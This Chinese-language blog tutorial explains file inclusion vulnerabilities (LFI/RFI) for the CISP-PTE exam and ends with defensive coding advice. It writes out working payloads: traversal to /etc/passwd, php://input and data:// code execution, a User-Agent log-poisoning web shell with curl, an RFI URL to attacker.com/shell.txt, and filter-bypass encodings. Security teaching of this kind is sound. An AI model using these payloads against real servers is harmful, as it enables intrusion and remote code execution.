三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

文件包含漏洞实战:从LFI/RFI原理到CISP-PTE靶场利用与防御

文件包含漏洞实战:从LFI/RFI原理到CISP-PTE靶场利用与防御

1. 项目概述:从靶场到实战的文件包含漏洞演练

在渗透测试工程师的成长路径上,CISP-PTE认证是一个绕不开的里程碑。它不仅仅是一张证书,更是一套系统化的实战能力评估体系。今天,我们不谈枯燥的理论,直接上手“基础题目三:文件包含”。文件包含漏洞,听起来简单,却是Web安全中极具迷惑性和危害性的一个点。很多新手在靶场里感觉“秒破”,一到真实环境就束手无策,问题往往出在对漏洞原理和利用场景的理解深度不够。这个练习篇,我将带你超越简单的“../../etc/passwd”,深入理解本地文件包含与远程文件包含的差异、在各种编程语言环境下的利用技巧、以及如何绕过常见的防御机制。我们会从一个靶场题目出发,拆解其背后的逻辑,并延伸到真实渗透测试中可能遇到的复杂情况,目标是让你不仅会做题,更能形成一套应对此类漏洞的实战方法论。

2. 文件包含漏洞核心原理与分类解析

2.1 漏洞产生的根本原因:不安全的动态包含

文件包含漏洞的本质,是应用程序在引入外部文件时,未对用户可控的输入进行严格的过滤和验证。开发人员为了代码的复用性和灵活性,常常会使用诸如PHP中的include()require(),JSP中的<%@ include file="..." %>,或者ASP中的<!--#include file="..." -->等函数或指令。当这些包含文件的路径参数(例如?file=header.php)直接或间接地来自用户输入(GET、POST、Cookie等)时,漏洞便产生了。

这里的关键在于“信任边界”的突破。程序逻辑本意是包含一个预设的、相对安全的文件(如header.phpfooter.inc)。但攻击者通过构造特殊的路径参数,可以“指导”程序去包含任意文件,甚至是系统敏感文件或远程服务器上的恶意脚本。这相当于攻击者获得了在Web应用程序上下文下的部分文件读取甚至代码执行权限。

2.2 本地文件包含与远程文件包含的深度对比

理解LFI和RFI的区别,是有效利用漏洞的前提。很多人只知道概念,但说不清在实战中如何判断和选择利用方式。

本地文件包含:顾名思义,只能包含服务器本地的文件。它的利用通常依赖于读取敏感信息或结合其他漏洞实现代码执行。

  • 典型利用:读取系统配置文件(/etc/passwd/etc/shadow),Web应用配置文件(config.phpweb.config),日志文件等。
  • 关键点:LFI能否成功执行代码,取决于能否将恶意代码写入一个服务器本地可访问的文件中。这常常需要结合文件上传、日志注入、Session文件污染等“二次利用”技巧。例如,通过LFI包含Apache的访问日志(/var/log/apache2/access.log),并在User-Agent中插入PHP代码,一旦日志被包含,代码就会被执行。

远程文件包含:这是更危险的一种情况,程序允许包含来自远程服务器(如http://attacker.com/shell.txt)的文件。包含的远程文件内容会被当作脚本代码在目标服务器上执行。

  • 前置条件:RFI能否发生,通常取决于服务器配置。在PHP中,需要allow_url_fopenallow_url_include配置项为On。在现代PHP版本和安全意识提升的背景下,纯粹的RFI已较少见,但仍是重要的检查项。
  • 利用方式:直接、粗暴。攻击者只需在可控的服务器上放置一个恶意脚本,然后诱导目标应用包含该脚本的URL即可获得WebShell。

注意:在实际渗透测试中,遇到纯RFI的几率在降低,但LFI无处不在。很多高风险的漏洞利用链,起点往往是一个不起眼的LFI。

2.3 靶场环境与真实环境的思维转换

做CISP-PTE或DVWA、Metasploitable2这类靶场题目时,环境是已知的、漏洞是明显的。例如,题目可能直接给出?page=include.php这样的参数。你的任务就是尝试../../../../etc/passwd

但在真实黑盒测试中,你需要:

  1. 发现包含点:通过爬虫、目录扫描、参数分析,寻找像file,page,template,path这类可能用于文件包含的参数。
  2. 判断漏洞类型:通过返回的错误信息、延时测试(尝试包含一个不存在的远程URL看是否超时)或直接测试简单LFI路径,初步判断是LFI还是潜在的RFI。
  3. 评估利用价值:即使确认LFI,也要评估能读到什么。是只能读静态文本,还是能结合其他点执行代码?这决定了漏洞的严重等级。

3. 核心利用技巧与绕过方法实战

3.1 路径遍历与空字节截断

这是最经典的LFI利用技术,用于突破目录限制。

  • ../遍历:使用../../向上返回目录。需要根据Web根目录的深度灵活调整层数。例如,?file=../../../../etc/passwd
  • 空字节截断:主要针对旧版本PHP(<5.3.4)。当代码在包含路径后拼接了固定后缀(如.php)时,可以利用。例如,代码是include($_GET['file'] . '.php');,那么传入?file=../../etc/passwd%00%00(空字节)会告诉PHP字符串在此结束,后面的.php被忽略,从而成功包含/etc/passwd这是一个重要的历史知识点,虽然现代环境少见,但PTE考试或老旧系统审计时仍需留意。

3.2 利用PHP封装协议实现高级利用

当简单的路径遍历被过滤时,PHP丰富的封装协议是我们的“神兵利器”。它们提供了访问各种输入/输出流的接口。

  • php://filter(最常用):用于读取文件源码,特别是当包含的文件被直接执行导致看不到源代码时。
    • 读取PHP源码?file=php://filter/read=convert.base64-encode/resource=config.php。这会将config.php的内容进行Base64编码后输出,解码即可获得源代码,避免了直接包含执行。
    • 原理php://filter是一种元封装器,可以对数据流进行过滤处理。convert.base64-encode过滤器将文件内容编码,这样PHP引擎就不会将其作为代码执行,而是当作普通文本输出。
  • php://input(执行代码):允许你读取POST请求的原始数据作为代码执行。需要allow_url_include=On
    • 利用方式
      GET /vuln.php?file=php://input HTTP/1.1 ... POST数据:<?php system('id'); ?>
      这会将POST体中的PHP代码在服务器上执行。
  • data://(执行代码):类似RFI,但数据直接内嵌在URI中。
    • 利用方式?file=data://text/plain,<?php phpinfo();?>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(Base64编码版)。同样需要allow_url_include=On

3.3 日志文件注入与包含

这是一种经典的“LFI to RCE”技术链。思路是:将PHP代码写入到某个服务器一定会写入的本地文件(如日志),然后通过LFI去包含这个日志文件。

  1. 寻找可写的日志路径:常见的有Web服务器访问日志(/var/log/apache2/access.log/var/log/nginx/access.log)、错误日志,或者SSH登录日志(/var/log/auth.log)。
  2. 注入代码:通过HTTP请求,将代码写入日志。最方便的是修改User-Agent头,因为很多日志格式会记录它。例如,使用curl:curl -A "<?php system($_GET['c']);?>" http://target.com/
  3. 包含日志文件:通过LFI漏洞包含这个日志文件:?file=/var/log/apache2/access.log
  4. 执行命令:如果注入成功,包含日志文件就相当于执行了其中的PHP代码。此时可以传递参数执行命令:?file=/var/log/apache2/access.log&c=id

实操心得:日志文件通常很大,直接包含可能导致超时或内存耗尽。一个技巧是,在注入代码后,立即发送大量正常请求,将你的恶意请求“挤”到日志文件末尾,这样包含时更容易快速定位和执行。另外,务必注意日志文件的权限,Web进程必须有读权限。

3.4 绕过常见过滤与WAF规则

现代应用和WAF会对../,php://等关键词进行过滤。我们需要一些绕过技巧:

  • 编码绕过
    • URL编码:../->%2e%2e%2f..%2f
    • 双重URL编码:../->%252e%252e%252f(某些过滤逻辑只解码一次)
    • Unicode编码:在某些上下文中可能有效。
  • 路径拼接绕过:如果过滤了../,但没过滤绝对路径,可以尝试直接使用绝对路径,如/etc/passwd
  • 超长路径绕过:使用过多的.//,例如....//....//....//etc/passwd,某些简单的正则过滤可能无法正确处理。
  • 协议混淆php://filter可以写作PhP://FilTer,利用大小写混淆。或者使用php:/.//filter等变形。
  • 利用已知文件:如果不允许跳出目录,可以尝试包含Web目录内的敏感文件,如./config.php.inc./.git/config等。

4. 在CISP-PTE及实战中的综合应用流程

4.1 靶场题目标准解题思路

面对一个文件包含靶场题,我通常遵循以下步骤,这同样适用于CTF比赛:

  1. 参数定位与基础测试:找到包含参数,尝试?file=index.php看是否正常,再尝试?file=../../../../etc/passwd验证基础LFI。
  2. 后缀处理探测:查看页面源代码或尝试包含一个不存在的文件,观察错误信息,判断是否自动添加了后缀(如.php,.inc)。如果有,准备使用空字节或利用过滤器。
  3. 协议利用尝试:尝试php://filter读取关键源码(如index.php本身),分析其过滤逻辑。尝试php://inputdata://测试RFI条件。
  4. 信息收集与扩大战果:利用LFI读取/proc/self/environ(环境变量,可能包含密钥)、/etc/hostname、Web服务器配置文件等,获取更多系统信息。
  5. 升级到RCE:如果可能,尝试日志注入、包含/proc/self/fd/[数字](文件描述符,有时包含请求数据),或寻找上传点上传图片马再包含。

4.2 真实渗透测试中的进阶利用链

实战中,文件包含很少孤立存在。它常常是攻击链的一环。

  • 场景一:结合文件上传。这是一个黄金组合。应用允许上传图片,但对文件内容检查不严(仅检查MIME类型或后缀)。攻击者上传一个包含PHP代码的图片文件(如shell.jpg.php或利用Exif信息注入),然后通过LFI漏洞包含这个上传文件的路径,实现RCE。
  • 场景二:包含临时文件。PHP在处理文件上传时,会先创建一个临时文件。通过精心构造请求和竞争条件,有可能在临时文件被删除前,通过LFI包含并执行它。这技术要求较高,但隐蔽性强。
  • 场景三:包含Session文件。PHP的Session数据通常存储在服务器临时目录的文件中(如/tmp/sess_[sessionid])。如果Session内容用户部分可控(例如,将数据存入$_SESSION['data']),就可以通过LFI包含自己的Session文件来执行代码。需要先获取或预测Session ID。

4.3 自动化工具与手动测试的平衡

对于文件包含漏洞,完全依赖自动化扫描器(如Burp Suite的Active Scan)可能会遗漏很多深度利用点。我的建议是:

  1. 用工具做初筛:使用爬虫和扫描器快速找出可能存在包含漏洞的参数点。
  2. 手动验证与深入:对每一个可疑点进行手动测试。重点测试过滤规则,尝试各种协议和绕过技巧。
  3. 使用定制化字典:在Intruder或自定义脚本中,使用一个精心准备的LFI/RFI测试字典,包含各种协议、路径遍历、编码变体和已知的敏感文件路径。
  4. 关注错误信息:不同的错误信息(“文件不存在”、“包含失败”、“警告:include”)是判断过滤逻辑和服务器环境的宝贵线索。

5. 防御策略与安全开发建议

理解了攻击,才能更好地防御。作为渗透测试工程师,我们不仅要会挖洞,更要能提出切实可行的修复方案。

5.1 白名单机制:最有效的防御

绝对不要使用黑名单过滤!这是安全开发的铁律。对于文件包含,最可靠的方法是采用白名单。

// 不安全的做法 $page = $_GET['page']; include($page . '.php'); // 安全的做法 $allowed_pages = array('home', 'about', 'contact'); $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('error.php'); }

如果业务必须动态包含,也应将映射关系存储在数组中,由用户传入键名而非直接路径。

5.2 路径固定与规范化

  • 固定目录:设置一个专门的包含文件目录(如./includes/),所有被包含的文件都必须位于此目录下。
  • 路径规范化:在使用输入参数前,使用realpath()函数解析绝对路径,并使用strpos()检查解析后的路径是否以白名单目录开头。
    $base_dir = '/var/www/html/includes/'; $user_path = $_GET['file']; $real_path = realpath($base_dir . $user_path); if ($real_path !== false && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('Invalid file path.'); }

5.3 服务器安全配置

  • 关闭危险配置:在PHP生产环境中,务必在php.ini中设置allow_url_fopen = Offallow_url_include = Off。这是杜绝RFI的最直接手段。
  • 限制PHP执行权限:通过Web服务器配置,限制特定目录(如上传目录)不能执行PHP脚本。
  • 最小权限原则:运行Web服务的进程账户(如www-data,nginx)应仅拥有必要文件的最小读权限,避免其读取/etc/shadow等关键系统文件。

5.4 代码审计与漏洞挖掘视角

在代码审计时,应全局搜索include,require,include_once,require_once,fopen,file_get_contents等函数,检查其参数是否用户可控,是否经过严格校验。特别注意那些拼接了目录或后缀的变量。同时,也要关注模板引擎的引入方式,某些模板的渲染函数也可能存在类似问题。

文件包含漏洞的练习,是从一个简单的参数测试到一套完整渗透思维构建的过程。它考验的不是你对某个Payload的记忆,而是你对Web应用运行机制、服务器环境、编程语言特性以及攻击链构造的综合理解。在CISP-PTE的考场上,这类基础题目是送分题;但在真实的网络攻防战场上,对它的深入理解和灵活运用,可能就是打开内网大门的第一把钥匙。多动手搭建靶场环境,尝试各种绕过技巧,并思考如何从防御者的角度去编写更安全的代码,这种双向的思维训练,才是提升安全能力的核心。

← 返回列表